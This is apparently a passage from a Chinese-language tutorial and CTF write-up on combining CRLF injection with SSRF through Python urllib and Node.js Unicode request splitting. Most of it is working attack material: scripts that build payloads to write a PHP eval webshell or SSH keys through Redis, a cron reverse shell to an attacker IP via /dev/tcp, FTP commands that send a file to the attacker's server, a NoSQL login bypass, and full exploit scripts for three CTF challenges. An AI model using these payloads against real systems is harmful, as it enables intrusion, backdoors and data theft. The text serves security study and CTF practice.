ŰŬũţšŴũůŮįůţŴťŴĭųŴŲťšŭčĊčĊļĿŰŨŰĠťŶšŬĨĤşŐŏœŔśĢŷŨůšŭũĢŝĩĻĿľčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢŕŰŬůšŤĢčĊčĊŕŰŬůšŤčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶĭĭčĊčĊŇŅŔĠįĠňŔŔŐįıĮıčĊŴťųŴĺ

构造请求:

> http.get('http://47.101.57.72:4000/ĠňŔŔŐįıĮıčĊčĊŐŏœŔĠįŵŰŬůšŤĮŰŨŰĠňŔŔŐįıĮıčĊňůųŴĺĠıIJķĮİĮİĮıčĊŃůŮŴťŮŴĭŌťŮŧŴŨĺĠĴijķčĊŃůŮŴťŮŴĭŔŹŰťĺĠŭŵŬŴũŰšŲŴįŦůŲŭĭŤšŴšĻĠŢůŵŮŤšŲŹĽĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŕųťŲĭŁŧťŮŴĺĠōůźũŬŬšįĵĮİĠĨŗũŮŤůŷųĠŎŔĠıİĮİĻĠŗũŮĶĴĻĠŸĶĴĩĠŁŰŰŬťŗťŢŋũŴįĵijķĮijĶĠĨŋňŔōŌĬĠŬũūťĠŇťţūůĩĠŃŨŲůŭťįĹİĮİĮĴĴijİĮķIJĠœšŦšŲũįĵijķĮijĶčĊŁţţťŰŴĺĠŴťŸŴįŨŴŭŬĬšŰŰŬũţšŴũůŮįŸŨŴŭŬīŸŭŬĬšŰŰŬũţšŴũůŮįŸŭŬĻűĽİĮĹĬũŭšŧťįšŶũŦĬũŭšŧťįŷťŢŰĬũŭšŧťįšŰŮŧĬĪįĪĻűĽİĮĸĬšŰŰŬũţšŴũůŮįųũŧŮťŤĭťŸţŨšŮŧťĻŶĽŢijĻűĽİĮĹčĊŁţţťŰŴĭŅŮţůŤũŮŧĺĠŧźũŰĬĠŤťŦŬšŴťčĊŁţţťŰŴĭŌšŮŧŵšŧťĺĠźŨĭŃŎĬźŨĻűĽİĮĹčĊŃůůūũťĺĠŐňŐœŅœœʼnńĽŮūĶķšųŴŶĶıŨűšŮųūūŤŤųŬūŧųŴĴčĊŃůŮŮťţŴũůŮĺĠţŬůųťčĊčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢōŁŘşņʼnŌŅşœʼnŚŅĢčĊčĊıİİİİİčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢŵŰŬůšŤťŤĢĻĠŦũŬťŮšŭťĽĢųŨťŬŬĮŰŨŰĢčĊŃůŮŴťŮŴĭŔŹŰťĺĠšŰŰŬũţšŴũůŮįůţŴťŴĭųŴŲťšŭčĊčĊļĿŰŨŰĠťŶšŬĨĤşŐŏœŔśĢŷŨůšŭũĢŝĩĻĿľčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢŕŰŬůšŤĢčĊčĊŕŰŬůšŤčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶĭĭčĊčĊŇŅŔĠįĠňŔŔŐįıĮıčĊŴťųŴĺ')

如上图所示,成功构造出了一个文件上传的POST请求,像这样的POST请求可以被我们用于 SSRF。下面我们分析一下整个攻击的过程。

原始请求数据如下:

GET / HTTP/1.1
Host: 47.101.57.72:4000

当我们插入CRLF数据后,HTTP请求数据变成了:

GET / HTTP/1.1

POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
......
<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"

Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--

 HTTP/1.1
Host: 47.101.57.72:4000

上次请求包的Host字段和状态行中的 HTTP/1.1 就单独出来了,所以我们再构造一个请求把他闭合:

GET / HTTP/1.1

POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
......
<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"

Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--

GET / HTTP/1.1
test: HTTP/1.1
Host: 47.101.57.72:4000

 

CRLF + SSRF 攻击内网应用

在SSRF中我们经常使用 Gopher 协议去攻击内网应用,比如Redis、MySQL、FTP等。但是当 Gopher 协议被过滤了之后,我们还可以通过HTTP协议并配合CRLF漏洞进行攻击,达到与 Gopher 协议一样的效果。

攻击 Redis

实验环境:

访问目标Web服务器是一个Flask应用,可以通过传递url参数进行 SSRF:

经测试,目标主机6379端口上运行有Redis服务且只能在本地访问,但是目标服务器过滤了 Gopher 协议,要想攻击 Redis 的话还需要想别的办法。

首先让目标机访问我们的 VPS:

/?url=http://47.101.57.72:4000

如上图所示,发现目标Web存在Python-urllib/3.7,该版本的Urllib存在CRLF注入漏洞,所以我们的思路是通过HTTP协议配合CRLF漏洞攻击Redis。

这里我们只演示通过 Redis 写 Webshell,需要执行的 Redis 命令如下:

flushall
config set dir /var/www/html/
config set dbfilename shell.php
set x '<?php eval($_POST[whoami]);?>'
save

然后要做的就是使用 HTTP 协议配合 CRLF 将这些命令构造成 TCP Stream 并通过 SSRF 发送给目标服务器。

编写脚本构造 payload:

import urllib.parse

payload = ''' HTTP/1.1

flushall
config set dir /var/www/html/
config set dbfilename shell.php
set x '<?php eval($_POST[whoami]);?>'
save
test: '''
payload = urllib.parse.quote(payload).replace("%0A", "%0D%0A")
payload = "?url=http://127.0.0.1:6379/" + payload
print(payload)

# 输出: ?url=http://127.0.0.1:6379/%20HTTP/1.1%0D%0A%0D%0Aflushall%0D%0Aconfig%20set%20dir%20/var/www/html/%0D%0Aconfig%20set%20dbfilename%20shell.php%0D%0Aset%20x%20%27%3C%3Fphp%20eval%28%24_POST%5Bwhoami%5D%29%3B%3F%3E%27%0D%0Asave%0D%0Atest%3A%20

我们现在自己 VPS 上测试一下:

?url=http://47.101.57.72:6379/%20HTTP/1.1%0D%0A%0D%0Aflushall%0D%0Aconfig%20set%20dir%20/var/www/html/%0D%0Aconfig%20set%20dbfilename%20shell.php%0D%0Aset%20x%20%27%3C%3Fphp%20eval%28%24_POST%5Bwhoami%5D%29%3B%3F%3E%27%0D%0Asave%0D%0Atest%3A%20

如上图所示,成功发送出了 Redis 命令。下面开始正式攻击:

/?url=http://127.0.0.1:6379/%20HTTP/1.1%0D%0Aflushall%0D%0Aconfig%20set%20dir%20/var/www/html/%0D%0Aconfig%20set%20dbfilename%20shell.php%0D%0Aset%20x%20%27%3C%3Fphp%20eval%28%24_POST%5Bwhoami%5D%29%3B%3F%3E%27%0D%0Asave%0D%0Atest%3A%20

执行后,成功通过Redis在目标主机的Web目录里面写入了Webshell:

蚁剑连接成功:

还可以通过 Redis 写入 SSH 秘钥和创建计划任务,相应的 Redis 命令如下。

  • 写入 SSH 秘钥:
flushall
set 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDrCwrA1zAhmjeG6E/45IEs/9a6AWfXb6iwzo+D62y8MOmt+sct27ZxGOcRR95FT6zrfFxqt2h56oLwml/Trxy5sExSQ/cvvLwUTWb3ntJYyh2eGkQnOf2d+ax2CVF8S6hn2Z0asAGnP3P4wCJlyR7BBTaka9QNH/4xsFDCfambjmYzbx9O2fzl8F67jsTq8BVZxy5XvSsoHdCtr7vxqFUd/bWcrZ5F1pEQ8tnEBYsyfMK0NuMnxBdquNVSlyQ/NnHKyWtI/OzzyfvtAGO6vf3dFSJlxwZ0aC15GOwJhjTpTMKq9jrRdGdkIrxLKe+XqQnjxtk4giopiFfRu8winE9scqlIA5Iu/d3O454ZkYDMud7zRkSI17lP5rq3A1f5xZbTRUlxpa3Pcuolg/OOhoA3iKNhJ/JT31TU9E24dGh2Ei8K+PpT92dUnFDcmbEfBBQz7llHUUBxedy44Yl+SOsVHpNqwFcrgsq/WR5BGqnu54vTTdJh0pSrl+tniHEnWWU= root@whoami
'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
  • 创建计划任务
flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save

// 47.xxx.xxx.72为攻击者vps的IP

构造 payload 的方法与写 Webshell 的方法是一样的,请自行尝试。

攻击 MySQL

目前正在研究。。。。。。

攻击 FTP

文件传输协议(FTP)使得主机间可以共享文件。 FTP 使用 TCP 生成一个虚拟连接用于控制信息,然后再生成一个单独的 TCP 连接用于数据传输。控制连接使用类似 TELNET 协议在主机间交换命令和回复应答。

FTP 命令和应答在客户和服务器的控制连接上以 NVT ASCII 码形式传送,这些命令都是3或4个字节的大写ASCII字符,其中一些带选项参数。这就要求在每行(每个命令或每个应答)结尾都要返回一个 CRLF,也就是说我们可以通过 CRLF 注入构造 FTP 文件传输控制的 TCP Stream。

并且,FTP 服务器允许匿名登录,用户使用特殊的用户名“anonymous”登陆FTP服务,就能与远程主机建立连接并以匿名身份从远程主机上拷贝文件,而不必是该远程主机的注册用户。下面我们匿名尝试匿名登录一个FTP 服务器并执行传输命令:

我们尝试读取了一个位于 FTP 服务器files目录里面的flag文件,以下是整个登录到读取过程抓到的包:

可以清楚地看到整个过程中,FTP 客户端向 FTP 服务端发送的 FTP 协议命令由于每行命令都是一一个 CRLF 结尾的,所以我们便可以通过 CRLF 注入构造 FTP 文件传输控制的 TCP Stream,从而控制 FTP 服务器来取得我们想要的文件。

实验环境:

访问目标Web服务器是一个Flask应用,可以通过传递url参数进行 SSRF。经过扫描端口发现目标主机的 21 端口上存在 FTP 服务,并且允许匿名登录。接下来我们尝试对这台 FTP 服务器进行匿名入侵。

这里我们只演示通过匿名登录 FTP 服务器并获取 files 目录里的 flag 文件的过程,需要执行的 FTP 命令如下:

USER anonymous
PASS 
CWD files
TYPE I
PORT 47,101,57,72,0,2000
RETR flag

整个攻击过程是攻击者先连接到 FTP 服务器的 21 号端口进行传输控制,通过USER命令和PASS命令进行匿名登录后,先使用 CWD 命令进入 files 目录,然后使用 TYPE 命令指定传输模式为 Ascii ,接着使用 PORT 命令切换 FTP 传输方式为主动传输。FTP 服务器在收到 PORT 命令后,通过自己的 20 端口连接至客户端用 PORT 命令指定的 VPS 端口(2000)发送数据。最后向 FTP 服务器发送 RETR 命令将 flag 文件内容发送到 PORT 命令指定的 VPS 端口上。

然后要做的就是使用 HTTP 协议配合 CRLF 将这些 FTP 命令构造成 TCP Stream 并通过 SSRF 发送给目标服务器。

编写脚本构造 payload:

import urllib.parse

payload = ''' HTTP/1.1

USER anonymous
PASS 
CWD files
TYPE I
PORT 47,101,57,72,0,2000
RETR flag
test: '''
payload = urllib.parse.quote(payload).replace("%0A", "%0D%0A")
payload = "?url=http://127.0.0.1:21/" + payload
print(payload)

# 输出: ?url=http://127.0.0.1:21/%20HTTP/1.1%0D%0A%0D%0AUSER%20anonymous%0D%0APASS%20%0D%0ACWD%20files%0D%0ATYPE%20I%0D%0APORT%2047%2C101%2C57%2C72%2C0%2C2000%0D%0ARETR%20flag%0D%0Atest%3A%20

我们现在自己 VPS 上测试一下:

?url=http://47.101.57.72:4000/%20HTTP/1.1%0D%0A%0D%0AUSER%20anonymous%0D%0APASS%20%0D%0ACWD%20files%0D%0ATYPE%20I%0D%0APORT%2047%2C101%2C57%2C72%2C0%2C2000%0D%0ARETR%20flag%0D%0Atest%3A%20

如上图所示,成功发送出了 FTP 命令。下面开始正式攻击。首先在自己 VPS 上监听 2000 端口等待 FTP 服务器的主动连接并用于后续的文件传输:

然后执行payload:

?url=http://127.0.0.1:21/%20HTTP/1.1%0D%0AUSER%20anonymous%0D%0APASS%20%0D%0ACWD%20files%0D%0ATYPE%20I%0D%0APORT%2047%2C101%2C57%2C72%2C0%2C2000%0D%0ARETR%20flag%0D%0Atest%3A%20

不出意外的话 VPS 端口上即可收到 FTP 服务器返回的文件数据。

 

[2020 祥云杯]doyouknowssrf

进入题目,给出源码:

<?php
// ini_set("display_errors", "On");
// error_reporting(E_ALL | E_STRICT);


function safe_url($url,$safe) {
    $parsed = parse_url($url);
    $validate_ip = true;
    if($parsed['port']  && !in_array($parsed['port'],array('80','443'))){

        echo "<b>请求错误:非正常端口,因安全问题只允许抓取80,443端口的链接,如有特殊需求请自行修改程序</b>".PHP_EOL;

        return false;
    }else{
        preg_match('/^\d+$/', $parsed['host']) && $parsed['host'] = long2ip($parsed['host']);
        $long = ip2long($parsed['host']);
        if($long===false){
            $ip = null;
            if($safe){
                @putenv('RES_OPTIONS=retrans:1 retry:1 timeout:1 attempts:1');
                $ip   = gethostbyname($parsed['host']);
                $long = ip2long($ip);
                $long===false && $ip = null;
                @putenv('RES_OPTIONS');
            }
        }else{
            $ip = $parsed['host'];
        }
        $ip && $validate_ip = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);
    }

    if(!in_array($parsed['scheme'],array('http','https')) || !$validate_ip){
        echo "<b>{$url} 请求错误:非正常URL格式,因安全问题只允许抓取 http:// 或 https:// 开头的链接或公有IP地址</b>".PHP_EOL;

        return false;
    }else{
        return $url;
    }
}


function curl($url){
    $safe = false;
    if(safe_url($url,$safe)) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        $co = curl_exec($ch);
        curl_close($ch);
        echo $co;
    }
}

highlight_file(__FILE__);
curl($_GET['url']);

parse_url()与curl()函数对url解析的差异造成了SSRF漏洞,则可以打内网。我们看看有没有flag.php:

/?url=http://@127.0.0.1:80@www.baidu.com/flag.php

如上图所示,成功得到报错,不存在flag.php,并且说明我们url构造成功,绕过限制并进行了ssrf。

之后变没有其他思路了,目录扫描也没有发现什么,我们尝试爆破一下端口,在5000端口处发现猫腻:

如上图,给出了提示,说这是个套娃,并让我们再次进行ssrf,我们继续尝试:

/?url=http://@127.0.0.1:5000@www.baidu.com/?url=https://baidu.com

这里说明一下我的想法:5000端口是flask默认端口,可能目标主机5000端口上存在flask应用,并且这个flask应用也存在ssrf。

我们利用这第二个ssrf打一下6379端口,看看目标主机上是否存在redis:

/?url=http://@127.0.0.1:5000@www.baidu.com/?url=http://127.0.0.1:6379

如上图所示,发现redis的报错 “-ERR wrong number of arguments for ‘get’ command”,说明确实存在redis。

但是同样的,在第二层ssrf中,gopher协议协议也被禁用了,还是无法直接利用gopher协议攻击redis。

在这里,我们可以利用Redis+CRLF+urllib写shell来攻击redis。原理就是Python Urllib在去年被爆出过一个CRLF漏洞。CRLF漏洞一定程度上可以代替gopher。

我们在自己vps中设置nc监听:

nv -lvp 2333

然后在url中访问:

/?url=http://@127.0.0.1:5000@www.baidu.com/?url=http://47.101.57.72:2333

会发现监听中得到的User-Agent头 User-Agent: Python-urllib/3.7 去寻找相关漏洞,这就是这个漏洞的标志了。那我们便可以使用 HTTP 协议配合 CRLF 注入去攻击 Redis 了。

生成payload:

import urllib.parse
import requests

payload = ''' HTTP/1.1

flushall
config set dir /var/www/html/
config set dbfilename shell.php
set x '<?php eval($_POST[whoami]);?>'
save
test: '''

payload = urllib.parse.quote(payload).replace("%0A", "%0D%0A")
payload = "?url=http://127.0.0.1:6379/" + payload
payload = urllib.parse.quote(payload)    # 这里需要URL二次编码
payload = "?url=http://abc@127.0.0.1:5000%20@abc" + payload
print(payload)

# 输出: ?url=http://abc@127.0.0.1:5000%20@abc%3Furl%3Dhttp%3A//127.0.0.1%3A6379/%2520HTTP/1.1%250D%250A%250D%250Aflushall%250D%250Aconfig%2520set%2520dir%2520/var/www/html/%250D%250Aconfig%2520set%2520dbfilename%2520shell.php%250D%250Aset%2520x%2520%2527%253C%253Fphp%2520eval%2528%2524_POST%255Bwhoami%255D%2529%253B%253F%253E%2527%250D%250Asave%250D%250Atest%253A%2520

然后将生成的payload打过去即可在目标主机上生成Webshell。

 

[GYCTF2020]Node Game

进入题目:

“Only admin can use this”进去之后是一个文件上传页面,但是只有admin才能上传文件:

“Click here to get the source” 可以查看源码:

var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');
var morgan = require('morgan');    // morgan是express默认的日志中间件
const multer = require('multer');    // Multer是nodejs中处理multipart/form-data数据格式(主要用在上传功能中)的中间件。该中间件不处理multipart/form-data数据格式以外的任何形式的数据


app.use(multer({dest: './dist'}).array('file'));
app.use(morgan('short'));
app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
app.use("/template",express.static(path.join(__dirname, '/template')))

app.get('/', function(req, res) {
    var action = req.query.action?req.query.action:"index";
    if( action.includes("/") || action.includes("\\") ){    // action中不能含有/或\\字符
        res.send("Errrrr, You have been Blocked");
    }
    file = path.join(__dirname + '/template/'+ action +'.pug');
    var html = pug.renderFile(file);    // 渲染pug模板引擎
    res.send(html);
});

app.post('/file_upload', function(req, res){
    var ip = req.connection.remoteAddress;
    var obj = {
        msg: '',
    }
    if (!ip.includes('127.0.0.1')) {    // remoteAddress必须是本地IP,所以需要进行ssrf
        obj.msg="only admin's ip can use it"
        res.send(JSON.stringify(obj));    // JSON.stringify() 方法用于将 JavaScript 值转换为 JSON 字符串。
        return 
    }
    fs.readFile(req.files[0].path, function(err, data){
        if(err){
            obj.msg = 'upload failed';
            res.send(JSON.stringify(obj));
        }else{
            var file_path = '/uploads/' + req.files[0].mimetype +"/";    
            var file_name = req.files[0].originalname
            var dir_file = __dirname + file_path + file_name    // /uploads/mimetype/filename.ext, 这里可通过mimetype进行目录穿越
            if(!fs.existsSync(__dirname + file_path)){    // 以同步的方法检测目录是否存在
                try {
                    fs.mkdirSync(__dirname + file_path)    // 如果目录不存在则创建目录
                } catch (error) {
                    obj.msg = "file type error";
                    res.send(JSON.stringify(obj));
                    return
                }
            }
            try {
                fs.writeFileSync(dir_file,data)    // 将要上传的文件写入文件到指定的目录中(实现文件上传)
                obj = {
                    msg: 'upload success',
                    filename: file_path + file_name
                } 
            } catch (error) {
                obj.msg = 'upload failed';
            }
            res.send(JSON.stringify(obj));    
        }
    })
})

app.get('/source', function(req, res) {
    res.sendFile(path.join(__dirname + '/template/source.txt'));
});

app.get('/core', function(req, res) {
    var q = req.query.q;
    var resp = "";    // 用来接收请求的数据
    if (q) {
        var url = 'http://localhost:8081/source?' + q
        console.log(url)
        var trigger = blacklist(url);
        if (trigger === true) {
            res.send("<p>error occurs!</p>");
        } else {
            try {
                http.get(url, function(resp) {
                    resp.setEncoding('utf8');
                    resp.on('error', function(err) {
                    if (err.code === "ECONNRESET") {
                     console.log("Timeout occurs");
                     return;
                    }
                   });

                    resp.on('data', function(chunk) {
                        try {
                         resps = chunk.toString();
                         res.send(resps);
                        }catch (e) {
                           res.send(e.message);
                        }

                    }).on('error', (e) => {
                         res.send(e.message);});
                });
            } catch (error) {
                console.log(error);
            }
        }
    } else {
        res.send("search param 'q' missing!");
    }
})

function blacklist(url) {    // 检测url中的恶意字符,检测到的返回true。可以通过字符串拼接绕过。
    var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
    var arrayLen = evilwords.length;
    for (var i = 0; i < arrayLen; i++) {
        const trigger = url.includes(evilwords[i]);
        if (trigger === true) {
            return true
        }
    }
}

var server = app.listen(8081, function() {
    var host = server.address().address
    var port = server.address().port
    console.log("Example app listening at http://%s:%s", host, port)
})

大概看一下几个路由:

  • /:会包含/template目录下的一个pug模板文件并用pub模板引擎进行渲染
  • /source:回显源码
  • /file_upload:限制了只能由127.0.0.1的ip将文件上传到uploads目录里面,所以需要进行ssrf。并且我们可以通过控制mimetype进行目录穿越,从而将文件上传到任意目录。
  • /core:通过q向内网的8081端口传参,然后获取数据再返回外网,并且对url进行黑名单的过滤,但是这里的黑名单可以直接用字符串拼接绕过。

根据上面几点,可以大致判断是利用SSRF伪造本地ip进行文件上传,上传一个pug模板文件(可以搜一下pug文件的代码格式https://www.pugjs.cn/language/includes.html)到/template目录下,这个pug模板文件中含有将根目录里的flag包含进来的代码,然后用?action=来包含该文件,就可读取到flag。

看到/core路由,关键代码在这里:

if (q) {
        var url = 'http://localhost:8081/source?' + q
        console.log(url)
        var trigger = blacklist(url);
        if (trigger === true) {
            res.send("<p>error occurs!</p>");
        } else {
            try {
                http.get(url, function(resp) {

可以传入一个q参数,然后服务器去请求,这里就存在一个SSRF了,可以通过这个点,来进行一个拆分请求,从而可以利用刚刚的文件上传点将我们的文件上传上去。这就涉及到了前面讲的 NodeJS的Unicode编码造成的CRLF注入问题了。如果对Unicode编码经过精心的构造,就可以通过拆分请求实现的SSRF攻击(也就是一种CRLF注入),通过换行让服务端将我们的第一次请求下面构造的报文内容,当作一次单独的HTTP请求,而这个构造的请求就是我们的文件上传请求了。

接下来抓包并构造请求即可:

对抓取到的文件上传的数据包进行删除Cookie,并将Host、Origin、Referer等改为本地地址、Content-Type改为 ../template 用于目录穿越(注意Content-Length也需要改成变化后的值),然后编写以下利用脚本:

import urllib.parse
import requests

payload = ''' HTTP/1.1

POST /file_upload HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 266
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryG01qmiZ5h6Ap0QSc
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://127.0.0.1:8081/?action=upload
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryG01qmiZ5h6Ap0QSc
Content-Disposition: form-data; name="file"; filename="shell.pug"
Content-Type: ../template

doctype html
html
  head
    style
      include ../../../../../../../flag.txt
------WebKitFormBoundaryG01qmiZ5h6Ap0QSc--

GET / HTTP/1.1
test:'''.replace("\n", "\r\n")

def payload_encode(raw):
    ret = u""
    for i in raw:
        ret += chr(0x0100+ord(i))
    return ret

payload = payload_encode(payload)
print(payload)

r = requests.get('http://b5db3d85-4230-43f3-84d2-de9a952a0451.node3.buuoj.cn/core?q=' + urllib.parse.quote(payload))
print(r.text)

执行脚本后即可成功进行目录穿越,将shell.pug文件上传到template目录中,然后访问 /?action=shell 即可得到flag:

 

[2021 MRCTF]Half-Nosqli

进入题目,啥也没有,目录扫描找到了 /docs,访问得到一个Swagger UI:

有两个Api接口,一个是 /login 用于登录,另一个是 /home 可通过url属性进行 SSRF。我们可以编写脚本来访问这两个Api接口。首先访问 /home接口报错,因为需要验证,所以思路应该是先访问 /login 接口进行登录,登录后拿到token再去访问 /home 接口。这里由于题目提示了是NoSQL,所以我们直接使用NoSQL的永真trick绕过:https://www.anquanke.com/post/id/97211#h2-10

所以最终的脚本如下:

import requests
import json

url = "http://node.mrctf.fun:23000/"
json_data = {
  "email": {"$ne": ""},
  "password": {"$ne": ""}
}
res = requests.post(url=url+'login',json=json_data)
token = res.json()['token']

json_data2 = {
    "url":"http://47.101.57.72:4000"    # 通过这里的url值进行SSRF
}

headers = {
    "Authorization":"Bearer "+token
}
res2 = requests.post(url=url+'home',json=json_data2,headers=headers)
print(res2)

这样我们便可以通过 /home 接口的url值进行SSRF了,先访问一下自己的 VPS 试试:

成功。

然后接下来就是利用 Node JS 的 HTTP 响应拆分攻击构造 SSRF 去打他本地的 FTP,原理在前面的几节中已经讲得很清楚了。由于题目给出了 docker-compose.yml,在这里面发现了FTP的主机名为 ftp,端口为 8899。

构造 FTP 命令:

USER anonymous
PASS 
CWD files
TYPE I
PORT 47,101,57,72,0,2000
RETR flag

编写攻击脚本,并现在自己 VPS 上面测试:

import requests
import json

url = "http://node.mrctf.fun:23000/"

ftp_payload = ''' HTTP/1.1

USER anonymous
PASS 
CWD files
TYPE I
PORT 47,101,57,72,0,2000
RETR flag
test:'''.replace("\n","\r\n")

json_data = {
  "email": {"$ne": ""},
  "password": {"$ne": ""}
}
res = requests.post(url=url+'login',json=json_data)
token = res.json()['token']

def payload_encode(raw):
    ret = u""
    for i in raw:
        ret += chr(0x0100+ord(i))
    return ret

ftp_payload = payload_encode(ftp_payload)
print(ftp_payload)

json_data2 = {
    "url":"http://47.101.57.72:8899/"+ftp_payload    # 通过这里的url值进行SSRF
}

headers = {
    "Authorization":"Bearer "+token
}
res2 = requests.post(url=url+'home',json=json_data2,headers=headers)
print(res2)

VPS 上面成功接收到了 FTP 命令,下面开始正式攻击,首先在自己 VPS 上监听 2000 端口等待 FTP 服务器的主动连接并用于后续的文件传输:

然后执行攻击脚本:

import requests
import json

url = "http://node.mrctf.fun:23000/"

ftp_payload = ''' HTTP/1.1

USER anonymous
PASS 
CWD files
TYPE I
PORT 47,101,57,72,0,2000
RETR flag
test:'''.replace("\n","\r\n")

json_data = {
  "email": {"$ne": ""},
  "password": {"$ne": ""}
}
res = requests.post(url=url+'login',json=json_data)
token = res.json()['token']

def payload_encode(raw):
    ret = u""
    for i in raw:
        ret += chr(0x0100+ord(i))
    return ret

ftp_payload = payload_encode(ftp_payload)
print(ftp_payload)

json_data2 = {
    "url":"http://ftp:8899/"+ftp_payload    # 通过这里的url值进行SSRF
}

headers = {
    "Authorization":"Bearer "+token
}
res2 = requests.post(url=url+'home',json=json_data2,headers=headers)
print(res2)

成功得到flag:

 

未完待续……

(完)